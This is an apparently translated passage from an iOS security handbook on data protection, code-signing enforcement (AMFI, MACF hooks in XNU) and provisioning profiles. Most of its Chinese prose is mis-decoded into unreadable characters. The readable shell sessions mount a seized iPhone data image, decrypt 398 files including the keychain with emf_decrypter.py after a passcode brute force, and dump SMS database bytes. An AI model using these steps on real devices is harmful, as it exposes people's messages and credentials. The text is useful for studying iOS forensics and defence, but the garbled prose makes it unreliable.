
ԓݼᄉHFS஠͇ጆፑ͗ၸMac OS XԺ̾ᄯଋેଋᄉಪयᣀϱǌݟ౦ԤѣឞDMG஠͇Ὃ߱ࡂ

͗ᜁᒬҮેଋǌ᝭ͰὋ̾ឳ�зഴयેଋឞDMG஠͇௦Љ᝴ᤈᛠνஇᄉὋࣲ͗ᆠڭ੝ᖌ३᪪Ϸᄉ

Ԩ᝼߸ஞবǌܷࠑԺ̾ၸhdiutil̾̽֐Եឳഴयેଋឞᇒᄧ᪪Ϸǌ 

$ hdiutil attach \ 
  -readonly e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/data_20120222-1450.dmg 
/dev/disk6                                                  /Volumes/Data 

hdiutil̽֐ᄉᣤѢᛪᇧឞᇒᄧ᪪ϷࣂᜁᬃҪҁ᝹ܫ஠͇/dev/disk6ࣲેଋڙ/Volumes/Data

ʼǌဗࡂ͂ੇڙԺ̾ڙ/Volumes/Data/˖เ᜾ឞ஠͇ጆፑὋࣲ͗Ԧဗ੝థ஠͇ЮࠓᦏࣂᜁҪࠚǌ 

$ cd /Volumes/Data/ 
$ ls 
Keychains/              folders/            root/ 
Managed Preferences/    keybags/            run/ 
MobileDevice/           log/                spool/ 
MobileSoftwareUpdate/   logs/               tmp/ 
db/                     mobile/             vm/ 
ea/                     msgs/               wireless/ 
empty/                  preferences/ 
$ file mobile/Library/SMS/sms.db 
mobile/Library/SMS/sms.db: data 
$ hexdump -C mobile/Library/SMS/sms.db | head 
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00000000 09 7d b1 05 48 b1 bb 6d 65 02 1e d3 50 67 da 3e |.}..H..me...Pg.>| 
00000010 6e 99 eb 3c 9f 41 fa c7 91 c4 10 d6 b2 2f 21 b2 |n..<.A......./!.| 
00000020 39 87 12 39 6d 5c 96 7d 4a bd a1 4a ea 49 ba 40 |9..9m\.}J..J.I.@| 
00000030 96 53 c4 d3 81 0d 6e 73 98 6c 91 11 db e0 c2 3d |.S....ns.l.....=| 
00000040 7a 17 82 35 18 59 fb 17 1a b2 51 89 fc 8b 55 5a |z..5.Y....Q...UZ| 
00000050 95 04 a0 d6 2d d5 6a 6c e8 ad 65 df ea b4 a8 8b |....-.jl..e.....| 
00000060 7e de c1 d2 b2 8a 30 e9 84 bb 08 9a 58 9a ad ba |~.....0.....X...| 
00000070 bb ba b1 9e 2a 95 67 d7 be a1 4b a7 de 41 05 56 |....*.g...K..A.V| 
00000080 d5 4e 8b d6 3b 57 45 d2 76 4e 67 c0 8b 10 45 d9 |.N..;WE.vNg...E.| 
00000090 7b 2a c3 c9 11 f4 c5 f0 56 84 86 b7 46 fe 56 e8 |{*......V...F.V.| 

ॆiOSᇒᄧ᪪ϷેଋҁMac OS XʼௐὋੇ͂ࡂᑞเ᜾ឞ஠͇ጆፑࣲಉᄹ੝థᄉ஠͇Њஜ૵

˿ǌͭ ੝థ஠͇Юࠓᦏ௦௃กᣱខᄉࣂҪࠚஜ૵ǌځ˝ԀΦγએኍጞ˝NSFileProtectionNone

ᄉ஠͇˶௦Ҫࠚ᣾ᄉǌ᜵ಉᄹ஠͇ஜ૵Ὃੇ͂ॸᮋၸጆፑkeybag˖ᄉࠚᨄᝌࠚ஠͇ᄉЮࠓǌڙ˧

ґᄉ̽֐˖Ὃsms.db஠͇௦ʿԺᣱខᄉஜ૵ὋԀΦ߱ᄉγએኍጞ௦NSFileProtectionNoneǌ 

7. 㾷ᆚ᭄᥂ߚऎ 
᜵ᝌࠚ஠͇ஜ૵Ὃੇ͂ࡂ᜵ၸҁiPhone Data Protection Tools˖ᄉemf_decrypter.pyᑭఴǌ

ឞᑭఴ͗΍ၸஜ૵ѫӜᄉԓݼ᪪Ϸ֖ᝌࠚ᣾ᄉጆፑkeybagᝌࠚ஠͇ጆፑ˖੝థҪࠚ᣾ᄉ஠͇ǌځ

˝ᤇ᜵ය᝺᫇keybagὋ੝̾ឯᆷγࣂፂᤁᛠdemo_bruteforce.py࿮ᝌ˿ၸਖ਼ࠚᆉࣲᝌࠚ˿ጆፑ

keybagǌܷ ःឞᤁᛠᤇ᧖੝ᇧᄉemf_decrypter.pyᑭఴǌ὇ซ਒Ὃᄫे֖஠͇ՏॡԺᑞʿՎὋࠑ

 ʶྱड़˝Ι૵ǌὈ׬ᄉܫᄫಕ᝹̾͂߱˝ځ

$ python python_scripts/emf_decrypter.py \ 
  e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/data_20120222-1450.dmg \ 
  e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/9dd7912fb6f996e9.plist 
Keybag: SIGN check OK 
Keybag unlocked with passcode key 
cprotect version : 4 
WARNING ! This tool will modify the hfs image and possibly wreck it if 
  something goes wrong ! 
Make sure to backup the image before proceeding 
You can use the --nowrite option to do a dry run instead 
Press a key to continue or CTRL-C to abort 
 
Decrypting TrustStore.sqlite3 
Decrypting keychain-2.db 
[ ... ] 
Decrypted 398 files 
Failed to unwrap keys for : [] 
Not encrypted files : 19 

ࣲࠚፂᝌࣂᦏࠓ౦లѢဗᩱឧὋឞᑭఴःឞ͗ᄯଋνஇᇒᄧ᪪ϷὋᤇಧʶ౎੝థ஠͇ᄉЮݟ

Ժ̾ᣱខ˿ǌ᜵ᰍ᝼ᤇʶཁὋੇ ͂Ժ̾в൒ેଋឞᇒᄧ᪪ϷὋࣲ ಉᄹ˧ґ௃กᣱខᄉSMSஜ૵ंὙ 

$ hdiutil attach -readonly \ 
  e8a27a5ee1eacdcb29ed683186ef5b2393c59e5a/data_20120222-1450.dmg 
/dev/disk6                                                  /Volumes/Data 
$ cd /Volumes/Data/ 
$ file mobile/Library/SMS/sms.db 
mobile/Library/SMS/sms.db: SQLite 3.x database 
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$ hexdump -C mobile/Library/SMS/sms.db | head 
00000000 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 |SQLite format 3.| 
00000010 10 00 02 02 00 40 20 20 00 00 00 02 00 00 00 01 |.....@ ........| 
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 
00000030 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 |................| 
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 |................| 
00000060 00 2d e2 1f 0d 00 00 00 00 10 00 00 00 00 00 00 |.-..............| 
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 
* 
00001000 

ဗ͂ੇڙःឞᑞख़ऄಉᄹஜ૵ѫӜ˖ᄉஜ૵˿ǌᤇឬ௙Ὃݟ౦ၸਖ਼Ե΍ၸ4ͮஜࠚߙᆉ੊Ꮷ

಩ఴʿ΍ၸࠚᆉὋiOS᝹ܫʼᄉ੝థஜ૵௦ॡࠓ௛ুܬᄉǌᔩၸਖ਼ᤤၸुࠚᆉὋᥦ˥Եథγએኍ

ጞ˝NSFileProtectionNoneᄉ஠͇֖γએኍጞ˝kSecAttrAccessibleAlwaysᄉkeychain

ᮉ௦Ժ̾᝺᫇ᄉǌࠪ̅ஈѣᏧ౎ឬὋݝ๖োࡂ௦᝹ܫʼፏܷܲஜ஠͇֖keychainᮉᄉγએኍጞᦏ

௦ݟ൤Ὃځ˝ॡ࠵థiOSःၸ὇ԀΦ௦ጆፑЮᎵᄉःၸὈ͗΍ၸData Protection APIǌ 

ឯҫॸ᝭ͰὋᤇ̎ஈѣࠪڙᄫಕ᝹ܫᄉᆀఆ᝺᫇˖ԀԺ߸੆ǌΒݟὋᖌ३8 GBஜ૵ѫӜᄉ߸

ஞԨ᝼᪪ϷࣲᙹҦᆠᝌ4ͮஜࠚߙᆉܷഏԵᭉ᜵Ӧ࠴ௐᄉௐᫍǌԀΦ௦ࠚᆉలᜁ࿮ᝌὋஈѣᏧ˶

Ժ̯̾᝹ܫ˖ឳԨܷ᧙ஜ૵὇Ӊહཱྞǋᆀζ֖ኃʻழःၸஜ૵ὈὋځ˝߱͂΍ၸ˿NSFile- 

ProtectionNoneጞѾᄉࠚᨄҪࠚὋࣲలԩҁࠚᆉࠚᨄᄉγએǌڙiOSЮᎵᄉःၸ˖ὋԵథᥪ͇

ःၸѽၸData Protection APIγએஜ૵὇ၸਖ਼ᄉႂߔᥪ͇๖োԢᬃ͇Ὀǌ᝿ͤኃʻழःၸߚϱၸਖ਼

ζোᄉ߶Кርऎᭉ᜵థ੾శཿጶᄉሧҮ߶Кःၸࠅನ࣍ὋᏪःၸᄉधԦᏧॡ࠵ᑞ३ҁᤇ̎ζোǌ 

3.3� ᇣ㒧 

iOS˖˝ၸਖ਼ஜ૵Ҫࠚᄉ˞᜵᝹ஶࡂ௦Data Protection APIǌiOS 4लЙᄉData Protection API

ᝧःၸԺ̾ܥ௙̎ג஠͇֖keychainᮉ௦ஏਕᄉὋ̾ Ԣ߱͂ʹௐԺΘ΍ၸǌᤇ΍iOSୱͺጆፑԺ̾

ᒬҮڠК᭦ଌ҃ᤇ̎ஜ૵ᄉҪ֖ࠚᝌࠚǌԩҁData Protection APIγએᄉஜ૵௦ፂ᣾ҪࠚᄉὋၸҁ

˿ၿ᝹׬ܫʶᄉAESࠚᨄ३ҁᄉࠚᨄὋᤆԺ̾ѽၸၸਖ਼ᄉࠚᆉὋᤇಧʶ౎ὋஈѣᏧݟ౦ਆᝌࠚஜ

૵Ὃࡂʶ߿᜵ࠃᬄଋᝎ᝹ࣲܫ˄ᅻ᥊੊࿮ᝌၸਖ਼ᄉࠚᆉǌ 

᧪ࠪஜ૵γએᄉஈѣѽၸ˿ˏཁ̂ࠃὋʶ௦᳭ᝢৰхʽኤӬᄉ4ͮஜࠚߙᆉॡࠓ௛ၸᙹҦஈѣ

ᆠᝌὋ̃௦iOSߚϱᄉܷᦉѫஜ૵ဗڙᦏ෤థԩҁData Protection APIᄉγએǌྱѾ᜵ૈѢᄉ௦Ὃڙ

iOSጆፑЮᎵᄉःၸ˖ὋᄫґԵథᥪ͇ःၸ΍ၸ˿Data Protection APIγએФஜ૵ǌஈѣᏧԺ̾˝૬

ᖌᄉ᝹ܫᡔ࿜Ὃࣲڙʼ᭦߶ᜈᒬࢹ˦߿ХᙹҦᆠᝌ᝹ܫ੝థᏧᄉࠚᆉǌஈѣᏧᤆԺ̾ल࠭ᒬ߿˦

ramdisk੯ᛠՎಧᄉஈѣǌൣݟधຸࢹХiPhone Data Protection Tools੝ࡘᇧᄉὋल࠭ᒬ߿˦ramdisk˶

థѽ̅߸ஞڠᖌԨԨ᝼ஜ૵ǌᬓ൤˧ܰὋځ˝iOSڙ᧗ըՐ͗γ႐ःၸ࿃খὋ੝̾ၸਖ਼Ժᑞʿ͗ซ

਒ҁ̴͂ᄉ੣఺ࣂፂ᧗ըࣲᜁᒬ߿˦ramdiskஈѣ᣾ὋͭФ̴͂ࠃᄉ੣఺ᜁஈѣᏧᆀఆଌ҃᣾ǌ 

ᤇ̎᧪ࠪஜ૵γએᄉஈѣᛪ௙ὋःၸधԦᏧЌѫ΍ၸData Protection APIγએஏਕζোὋ̾ Ԣ

͌ˉु҃᜵යߚஉ੊ူܪஏਕζোᄉiOS᝹ܫ΍ၸुࠚᆉὋ௦Ӡѫ᧗᜵ᄉǌ 
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ॆᔰ౦МՂ2008ࣱԦ࣊iOS 2.0ௐὋ߱ࡂըҮ˿ʶᮉ᝟ѲὋைڙːಪଌ҃ԺڙiOS᝹ܫʼ੯ᛠ

ᄉ̼ᆉǌᤇ௦᤯᣾Mandatory Code Signing὇ु̼҃ᆉኣՏὈࠃဗᄉǌ३ҁ᝴Ժᄉጷጺॸᮋ˝ඇʶ

˓᜵ڙiOS᝹ܫʼᤁᛠᄉःၸኣՏǌݟ౦̼ᆉలኣՏὋЮನ˖ᄉ೜ಉࡂʿ͗Љ᝴ᤇ̼̎ᆉڙ᝹ܫ

ʼ੯ᛠǌʿክ௦᝹ܫѢԇௐᮔᜈᄉःၸὋᤆ௦̯App Storeʽᣑ߶ᜈᄉःၸὋᦏ᜵ፂ᣾ᔰ౦МՂሒ

ᨄᄉኣՏǌᬓ൤˧ܰὋ͌ˉǋܷ֖ߥ࿗በधԦᏧԺ̾ࠪ᝹ܫᤈᛠྱ൳᝹ᎵὋᝧ߱͂ᝢԺФ̴ጷጺ

ᄉኣՏǌʿ᣾Ὃु̼҃ᆉኣՏʿԵ௦͗ॕֽ̃ᤈ҃஠͇ὋᏪ˄͗ॕֽҁ੝థ̼ᆉὋӉહं஠͇Ὃ

ၴᒯ௦Юߚ˖ᄉԺ੯ᛠ̼ᆉǌᤇʶ᜺Ѷᄉ׬ʶΒܰࡂ௦Webเ᜾٧MobileSafariᄉԀௐ὇Just In 

TimeὈᎃដǌ 

̼ᆉኣՏ఺҃ࠪ̅iOSᄉ߶КᏪᝒథˏܷ᧗᜵ͺၸǌФʶὋ߱΍ৎ਒ᣃ͇ॡᬱᤈЙiOS᝹ܫǌ

ፂ᣾ྱ൳ᦠᎵὈǌܫ௦̯ᔰ౦ᄉApp StoreʼᖌԨ̼ᆉ὇ᬓ᭣᝹ࡂʶ᤬फ़׬ʼᤁᛠ̼ᆉᄉܫiOS᝹ڙ

ࠪ੝థ᜵Ԧ࣊ҁApp StoreʼᄉःၸᏪᝒὋڙԦ࣊˧ґᦏ᜵ଋԩᔰ౦МՂᄉࠅಉὋ̾ ᆷγʿդৎ਒ǌ

ˀ˧ᄰԥὋ΍ၸ߶ӫጆፑᄉ᝹ܫԺ̾ᤁᛠ͉ʹᒬኣՏ᣾ᄉःၸὋФၸਖ਼Ժ̾ʽᣑ֖ᤁᛠ͉ʹ஠͇Ὃ

 ᐺǌގᄉࠃϷPC఺ᥦಧǌᄰࠪ̅iOSὋৎ਒ᣃ͇ࠪ߶ӫጆፑᏪᝒ௦ሗఝဗࡂ

̼ᆉኣՏᄉԲʶ˓᧗᜵ͺၸѶͳဗڙ᫸७໣วஈѣὋ੊Ꮷឬ௦ʽᣑ᯵Үஈѣʼǌˀॱᣃᄉ

DEP὇Data Execution PreventionὋஜ૵੯ᛠγએὈ੾శ᭣࣡ᄰͪὋ̼ᆉኣՏ఺҃Ժ̾᫸ൢ̼ᆉ

὇shellcodeὈᜁซЙҁԩॕֽᄉᤈር˖੯ᛠǌʿ᣾Ὃु̼҃ᆉኣՏඊDEPఝुǌ˝ፈ᣾ᤇ̎Юߚγ

એ఺҃ὋஈѣᏧ᤯࣡͗΍ၸROP὇Return Oriented ProgrammingὋ᭦Փᤄٿᄉርࣿ᝹᝟Ὀǌ᜵̶ࠪ

ࣛథDEP੊ዜͪγએ఺҃ᄉጆፑὋஈѣᏧԵᭉ᜵੯ᛠᡛܴ᫁ᄉROPሄၸDEPὋཨՐ੯ᛠఴ఺̼ᆉ

థ஌ᣑᕲǌʿ᣾ὋڙiOS˖ὋஈѣᏧ௦ʿԺᑞС᫆ु̼҃ᆉኣՏᄉὋᏪ˄ځ˝ఴ఺̼ᆉథ஌ᣑᕲ

௦లኣՏᄉὋ੝̾߱ʿԺᑞᤁᛠǌځ൤Ὃஞ˓iOSథ஌ᣑᕲᦏʶ߿௦ڙROP˖੯ᛠᄉὋᤇ᜵ඊ᧪

ࠪDEPᄉഴ઱ஈѣᬱॡܲǌ൤ܰὋឞథ஌ᣑᕲʿᑞԵзЙӉդৎ਒ᣃ͇ᄉளԺ੯ᛠ஠͇὇ஈѣᏧ

ᄉԲʶ࣡᜸ˠҮὈὋځ˝߱ʿ͗ᜁኣՏǌᏪࠪ̅ʿդ͉ʹ̼ᆉኣՏ఺҃ᄉ߶ӫጆፑᏪᝒὋஈѣᏧ

ॡࠓ௛ڙሄၸDEP˧Ր̅ᤈርЮ੯ᛠ̴͂ᄉshellcodeὋ੊௦ѽၸROPՓᇒᄧзЙ̃ᤈ҃஠ࣲ͇੯

ᛠᤇ̎஠͇ǌ 

ఴብ᜵ᝦ᝶ኣՏ᝼˹ǋ૾ాଠᤗ஠͇὇provisioning profileὈǋࣂኣՏ̼ᆉǋྱాὋ̾Ԣ߱͂

ࠪஈѣᏧᄉॕֽǌ 

ኃ �ብ
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4.1� ᔎࠊ䆓䯂᥻ࠊ 

̯ऄࡎ౎ᄹὋु̼҃ᆉኣՏ఺ܷ҃ᦉѫ௦ၿMACF὇Mandatory Access Control FrameworkὋ

ु҃᝺᫇ଌ҃ಳ౵Ὀଌ҃ᄉǌ̭ڙፀ߸߱ᄉࢹͺԓူ˧ՐὋੇ͂᜵ٿ᣾ܿ౎ឬ௙ݟʹѽၸMACF

ን႔੯ᛠ̼ᆉኣՏ೜ಉǌ 

Mac OS X֖iOSᄉMACFፘ੽ᒬFreeBSDὋFreeBSDӉդ˿ࠪ౼̎ु҃᝺᫇ଌ҃ን႔ᄉࠃᰍব

ஂ૆Ὃᤆդథၸ̅Юನ߶Кবੰࡘᄉಳ౵úúTrustedBSD MAC FrameworkǌڙiOS˖ὋMACಳ౵

௦ሗԺଢЙᄉ᝺᫇ଌ҃ಳ౵ὋЉ᝴ளᄉ߶Кን႔ழΦᩖڠଋҁЮನǋڙըҮௐᣑЙ੊௦ڙᤁᛠௐ

ҮখҪᣑǌឞಳ౵ଡΘ˿ܲሗҩᑞὋ̯Ꮺఝࠓ௛ࠃဗளᄉ߶Кን႔ὋӉહழΦڠ˝ጆፑࠪ៵ಕ᝭

߶Кಕኣ὇ඊݟþ఺ࠚζোÿὈǌ 

iOSԵซб˿ˏᮉMACን႔ὙAMFI֖෡ᄣǌಉᄹmac_policy_registerᄉxrefsੇ͂ࡂᑞ

ᖌ३ᤇ̎ζোὋ1-4ڎݟ੝ᇧǌኃ5ብ̭࠱ፀ෡ᄣMACን႔ǌଋʽ౎ੇ͂ኤӬᄹᄹAMFIǌ 

 

�1-4ڎ Եథˏ˓ѥஜซб˿MACን႔ 

4.1.1� AMFI䩽ᄤ 

AMFI̼ᛪAppleMobileFileIntegrity὇ᔰ౦ሧҮ᝹ܫ஠͇߸ஞবὈǌॆੇ͂ڙЮನ̃ᤈ҃஠͇

˖ಉᄹࠪmac_policy_registerᄉុၸௐὋ͗ࡂᄹҁAMFI᝹Ꮅᄉ੝థᨈߔὋ᜸2-4ڎǌ 

AMFIၸҁ˿̾ʽMACᨈߔὙ 

� mpo_vnode_check_signature 

� mpo_vnode_check_exec 

� mpo_proc_get_task_name 

� mpo_proc_check_run_cs_valid 

� mpo_cred_label_init 

� mpo_cred_label_associate 

� mpo_cred_check_label_update_execve 

� mpo_cred_label_pudate_execve 

� mpo_cred_label_destroy 

� mpo_reserved10 

ఴብ᜵ᝦ᝶ݟʹԥᎃដФ˖ᄉ౼̎ᨈߔǌॆཨὋ̼߱͂ࠪ̅ᆉኣՏᏪᝒᦏ௦ॡ᧗᜵ᄉǌ  
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�2-4ڎ AMFIѽၸЮನซб߱ᄉᨈߔ 

4.1.2� AMFI੠execv  

ᤇ᧖̾ॡࠓ௛ူᝌᄉmpo_vnode_check_exec˝Β̭ፀݟʹ᝺֖᫇ౝतAMFIᨈߔǌXNU

Юನຸᄉbsd/kern/kern_exec.c஠͇˖ڙߚՏ˝exec_check_permissionsᄉѥஜǌซ᧕˖ᄉଠᤗ

௦ᤇಧᄉὙĿ 

/* 

* exec_check_permissions 

* 

* Description: Verify that the file that is being attempted to be 

executed 

*             is in fact allowed to be executed based on it POSIX 

file 

*             permissions and other access control criteria 

* 

 Ժ̾ᄹҁὙࠑܷ˖exec_check_permissionsڙ

#if CONFIG_MACF 

error = mac_vnode_check_exec(imgp->ip_vfs_context, vp, imgp); 

if (error) 

            return (error); 

#endif 

üüüüüüüüüü�
Ŀ ଠᤗᄉ਒ধ௦ᰍ᝼ណڎ੯ᛠᄉ஠͇Ι૵POSIX஠͇᝴Ժ֖Ф̴᝺᫇ଌ҃ಕэФࠃ௦Љ᝴੯ᛠᄉǌúúដᏧซ 
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Ꮺmac_vnode_check_exec۲ఴʼ௦MAC_CHECK߹ᄉӉᜈ٧Ὑ�

int 

mac_vnode_check_exec(vfs_context_t ctx, struct vnode *vp, 

    struct image_params *imgp) 

{ 

    kauth_cred_t cred; 

    int error; 

 

    if (!mac_vnode_enforce || !mac_proc_enforce) 

       return (0); 

 

    cred = vfs_context_ucred(ctx); 

    MAC_CHECK(vnode_check_exec, cred, vp, vp->v_label, 

       imgp != NULL) ? imgp->ip_execlabelp : NULL, 

       (imgp != NULL) ? &imgp->ip_ndp->ni_cnd : NULL, 

       (imgp != NULL) ? &imgp->ip_csflags : NULL); 

    return (error); 

} 

MAC_CHECK௦੝థMACF̼ᆉᦏ͗ၸҁᄉ᤯ၸ߹ὋԺ̾ڙsecurity/mac_internal.h˖੼ҁǌ�

* MAC_CHECK performs the designated check by walking the policy 

 * module list and checking with each as to how it feels about the 

 * request. Note that it returns its value via 'error' in the scope 
 * of the caller. 

#define MAC_CHECK(check, args...) do {                      \ 

struct mac_policy_conf *mpc;                                \ 

      u_int i;                                              \ 

                                                            \ 

     error = 0;                                             \ 

      for (i = 0; i < mac_policy_list.staticmax; i++) {     \ 

       mpc = mac_policy_list.entries[i].mpc;                \ 

           if (mpc == NULL)                                 \ 

            continue;                                       \ 

                                                            \ 

           if (mpc->mpc_ops->mpo_ ## check != NULL)         \ 

            error = mac_error_select(                       \ 

                  mpc->mpc_ops->mpo_ ## check (args),       \ 

                         error);                            \ 

     } 

ᤇൿ̼ᆉ͗೜ಉን႔ѴᛪὋࠪ̅ࣂҪᣑᄉՉഴڰὋݟ౦˝Фซб˿ᨈߔὋ߱ុ͗ࡂၸᄰःᄉ

ᨈߔǌڙᤇ᧖Ὃᜁុၸᄉ௦˝mpo_vnode_check_execซбᄉѥஜǌᤇಧὋԵ᜵̃ᤈ҃஠͇᜵

धݼ੯ᛠὋੇ͂͗ࡂ೜฽̼ᆉኣՏǌ�

ેᨈ௦உڙxnuधຸӉ˖ᄉὋͭࠃᬄᄉᨈߔԁڙЮನ̃ᤈ҃஠͇˖ǌܷࠑԺ̾ಉᄹ3-4ڎݟ੝

ᇧᄉmpo_vnode_check_execᄉԥᎃដ̼ᆉὋᄹᄹ߱ᨈͰᄉѥஜҁऄ௦̣˥ǌ 

ੇ᜵ᄽథAppleMobileFileIntegrity.cpp஠͇ݝࡂ˿ὀʿክঞಧὋឞѥஜᄉ׬ʶᐋ᠉ࡂ௦˝ըҮ

ᄉඇ˓ᤈር᝹ᎵCS_HARD֖CS_KILLಕংǌᄹᄹbsd/sys/codesign.h஠͇Ὃ;͗ࡂԦဗᤇ̎ಕংն
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ឃЮನʿ᜵Ҫᣑ͉ʹ௃஌ᮅὋࣲ նឃЮನС᫆ᥦ̎࠱᜵௃஌ᄉᤈርǌᤇࠪ̅;˧Րߥ˷̼ᆉኣՏ

 ஶ఺҃Ꮺᝒॡ᧗᜵ǌࠃᬄᄉࠃ

 

�3-4ڎ amfi_vnode_check_execᄉԥᎃដ̼ᆉ 

4.2� ᥜᴗⱘᎹ԰ॳ⧚ 

᧜̅धԦᏧᭉ᜵ڙ᝹ܫʼ฽ណःၸὋᏪ͌ˉ࣎భԵՓЮᦉᄉ᝹ܫԦ࣊ःၸὋੇ ˝ᭉ᜵థࡂ͂

᝹ܫᡔ࿜˧ܰᄉҨกᝧలፂᔰ౦МՂኣՏᄉःၸڙiOS᝹ܫʼᤁᛠǌЉ᝴ᤇಧϡᄉழกࡂ௦૾ాǌ

˓̠ǋМՂǋ͌ˉ੊ܷߥᦏԺ̾ҪЙᔰ౦МՂ˝᣹ҁᤇʶᄫᄉᏪଡΘᄉ᝟Ѳǌڙఴ˹˖Ὃੇ͂௦

̯ͺ˝iOSधԦᏧ᝟Ѳ੆տᄉ࿗በधԦᏧᄉᝇऎ౎̭ፀᄉὋʿ᣾Ф̴ৰх˶௦᭣࣡ዜͪᄉǌ 

ͺ˝ឞ᝟ѲᄉʶᦉѫὋඇ˓धԦᏧᦏ͗ၸఴڠၶ੆ᄉʶጷሒᨄႁឯधԦ᝼˹֖Ԧ࣊᝼˹ǌཨ

ՐὋᔰ౦МՂ͗ՓधԦᏧଡΘᤇˏ͊᝼˹Ὃ᜸4-4ڎǌ 

 

�4-4ڎ iOSधԦᏧ᝼˹֖Ԧ࣊᝼˹ 

4.2.1� ⧚㾷ᥜᴗᦣ䗄᭛ӊ 

ᤇ̎᝼˹Ժ̾᝼௙धԦᏧᄉᢵ͊Ὃځ˝ԵథधԦᏧ੥థࠪः߱͂ᄉሒᨄǌ߱ ͂ఴᢵࣲ෤థܹ
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͈ܲϘǌా૾ڙࡂݫݗଠᤗ஠͇᧖ǌ᤯᣾iOS Developer Portal὇iOSधԦᏧ᫂ਖ਼ὈὋܷࠑԺ̾ၶ੆

૾ాଠᤗ஠͇ǌ૾ాଠᤗ஠͇௦ၿᔰ౦МՂኣՏᄉplist஠͇ǌឞplist஠͇ѴѢ˿᝼˹ǋ᝹ྱ֖ܫ

ాǌॆ ឞ૾ాଠᤗ஠͇ᜁ߶ᜈҁ߱ѴѢᄉ౼˓᝹ܫʼௐὋ͗ࡂѴѢӉહᔰ౦МՂᄉ᝼˹ڙЮᄉ੝

థԺ̾˝ڙឞ᝹ܫʼᤁᛠᄉ̼ᆉኣՏᄉ᝼˹ǌ߱ᤆѴѢၿឞଠᤗ஠͇ኣՏᄉःၸԺ̾΍ၸᄉྱ

ాǌੇ͂4.4ڙ࠱ᓫଉᝦྱాǌ 

࿗በधԦᏧ᠌ਖ਼ˀ͌ˉ᠌ਖ਼˧ᫍᄉʶ˓˞᜵ӜѾ̅ڙ࿗በधԦᏧ૾ాଠᤗ஠͇ॸᮋѴѢХ

ͳᄉ᝹ܫǌԲʶ˓ʿՎࡂ௦࿗በधԦᏧ᠌ਖ਼ᬌ҃धԦᏧణܲ΍ၸ100ᦉ᝹ܫὋᏪ͌ˉѶԺ̾ᝧᔰ

౦МՂၶ੆లᩙ߿ҁྱ߿᝹ࣲܫԺ̾߶ᜈҁ͉ʹ᝹ܫʼᄉ૾ాଠᤗ஠͇ǌ 

Ꮵᘼݟʽ૾ాଠᤗ஠͇Ὑ 

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 

"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 

<plist version="1.0"> 

<dict> 

        <key>ApplicationIdentifierPrefix</key> 

        <array> 

                <string>MCC6DSFVWZ</string> 

        </array> 

        <key>CreationDate</key> 

        <date>2011-08-12T20:09:00Z</date> 

        <key>DeveloperCertificates</key> 

        <array> 

                <data> 

 

MIIFbTCCBFWgAwIBAgIITvjgD9Z1rCQwDQYJKoZIhvcNAQEFBQAwgZYxCzAJ 

... 

                </data> 

        </array> 

        <key>Entitlements</key> 

        <dict> 

                <key>application-identifier</key> 

                <string>MCC6DSFVWZ.*</string> 

                <key>com.apple.developer.ubiquity-container-identifiers</key> 

                <array> 

                        <string>MCC6DSFVWZ.*</string> 

                </array> 

                <key>com.apple.developer.ubiquity-kvstore-identifier</key> 

                <string>MCC6DSFVWZ.*</string> 

                <key>get-task-allow</key> 

                <true/> 

                <key>keychain-access-groups</key> 

                <array> 

                        <string>MCC6DSFVWZ.*</string> 

                </array> 

        </dict> 

        <key>ExpirationDate</key> 

        <date>2011-11-10T20:09:00Z</date> 

        <key>Name</key> 
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        <string>iphone_payloads Charlie Miller iPhone 4 regular pho</string> 

        <key>ProvisionedDevices</key> 

        <array> 

                <string>7ec077ddb5826358…..c046f619</string> 

        </array> 

        <key>TeamIdentifier</key> 

        <array> 

                <string>MCC6DSFVWZ</string> 

        </array> 

        <key>TimeToLive</key> 

        <integer>90</integer> 

        <key>UUID</key> 

                <string>87C4CE1E-D87B-4037-95D2-8…9246</string> 

        <key>Version</key> 

       <integer>1</integer> 

</dict> 

</plist> 

ґ᭦ᤇ˓૾ాଠᤗ஠͇˖Ὃੇ͂᜵ซ਒ApplicationIdentifierPrefixὋ߱ᝧՎʶधڙ

ԦᏧᎃзᄉʿՎःၸᑞР̙ஜ૵ǌଋʽ౎௦Ѹत௅యὋՐ᭦ᡱᅋbase64ᎃᆉᄉ᝼˹ǌݟ౦;ਆᅻ

᥊ឞߙൿᄉЮࠓὋឯઁ߱உҁ஠ఴ஠͇˖ὋࣲၸOpenSSLಉᄹǌܷࠑᭉ᜵ڙᤇᦉѫЮࠓ˧ґҪʼ

-----BEGIN CERTIFICATE-----Ὃࣲڙ஠͇ళࡊҪʼ-----END CERTIFICATE-----ǌཨՐὋ

� ʽ੝ᇧǌݟὋ˿ࠓԺ̾ѽၸopenssl᫝ឳ᝼˹ᄉЮࡂ;

$ openssl x509 -in /tmp/foo -text 

Certificate: 

    Data: 

        Version: 3 (0x2) 

        Serial Number: 

            4e:f8:e0:0f:d6:75:ac:24 

        Signature Algorithm: sha1WithRSAEncryption 

        Issuer: C=US, O=Apple Inc., OU=Apple Worldwide Developer Relations, CN=Apple 

Worldwide Developer Relations Certification Authority 

        Validity 

            Not Before: Jun 1 01:44:30 2011 GMT 

            Not After : May 31 01:44:30 2012 GMT 

        Subject: UID=7CCDL7Y8ZZ, CN=iPhone Developer: Charles Miller (7URR5G4CD1), 

C=US 

        Subject Public Key Info: 

            Public Key Algorithm: rsaEncryption 

... 

ଋʽ౎௦EntitlementsᦉѫὋ߱ѴѢ˿ၿឞ᝼˹ኣՏᄉःၸԺ̾Хథᄉྱాǌڙᤇ᧖Ὃឞ᝼

˹ ኣ Տ ᄉ ः ၸ Ժ ̾ ΍ ၸ ૈ ߿ ᄉ keychain ֖ ः ၸ ಕ ខ ቿ Ὃ ࣲ Х థ ុ ណ ᤈ ር ॸ ᭉ ᄉ

get-task-allowǌឞ૾ాଠᤗ஠͇ᤆդథܾ஌௅యǋᒬᢵᄉՏሥὋࣲѴѢ˿Ժ΍ၸឞଠᤗ஠

͇ᄉ᝹ܫᄉUUIDǌ�

